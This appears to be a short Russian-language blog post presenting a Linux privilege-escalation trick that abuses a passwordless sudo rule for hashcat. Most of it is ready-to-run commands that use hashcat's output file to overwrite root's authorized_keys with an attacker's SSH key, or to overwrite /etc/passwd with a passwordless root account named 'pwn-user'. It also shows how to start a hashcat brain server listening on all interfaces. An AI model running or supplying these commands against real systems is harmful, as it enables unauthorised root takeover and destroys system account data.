Сегодня мы рассмотрим достаточно интересный (и в какой-то степени банальный) способ как можно использовать Hashcat для обхода локальных ограничений безопасности.
Предположим, у нас есть низко привилегированный доступ к Linux системе под пользователем "Acrono", и этот пользователь имеет права root для выполнения команды Hashcat без ввода пароля:
(root) NOPASSWD: /usr/bin/hashcat -m
Мы можем воспользоваться этой привилегией в Hashcat, взяв MD5-сумму от необходимой нами строки, после чего перебирая хеш по известному "словарю" и записывая вывод в определенный файл.🐚 SSH Abuse
Данная атака позволит нам добавить наш SSH-ключ в список авторизованных ключей root, обойдя парольную аутентификацию:
key='<PUBLIC_SSH_KEY>'
echo -n "$key" > wordlist && echo -n "$key" | md5sum | awk '{print $1}' > hash
sudo hashcat -m 0 -a 0 --quiet --potfile-disable -o /root/.ssh/authorized_keys --outfile-format=2 hash wordlist
ssh -i ./id_ed25519 root@127.0.0.1
🔑 Passwd AbuseДанная атака позволяет создать нового пользователя без пароля с правами root в файле
/etc/passwd:create_user='pwn-user::0:0:root:/root:/bin/bash'
echo -n "$create_user" > wordlist && echo -n "$create_user" | md5sum | awk '{print $1}' > hash
sudo hashcat -m 0 -a 0 --quiet --potfile-disable -o /etc/passwd --outfile-format=2 --outfile-autohex-disable hash wordlist
su - pwn-user
Кстати, немногие знают, что Hashcat поддерживает режим "сервера". Если у вас есть пароль от сервера и вы наверняка знаете, что сервер работает от привилегированного пользователя, то SSH Abuse может оказаться полезным:hashcat --brain-server --brain-host=0.0.0.0 --brain-port=1337 --brain-password=P@ssw0rd
P.S.Вероятность получить подобные привилегии в реальной жизни крайне мала, однако я лично столкнулся с этим не так давно. Я также не смог найти в интернетах похожего абуза, потому и решил опубликовать данный пост.

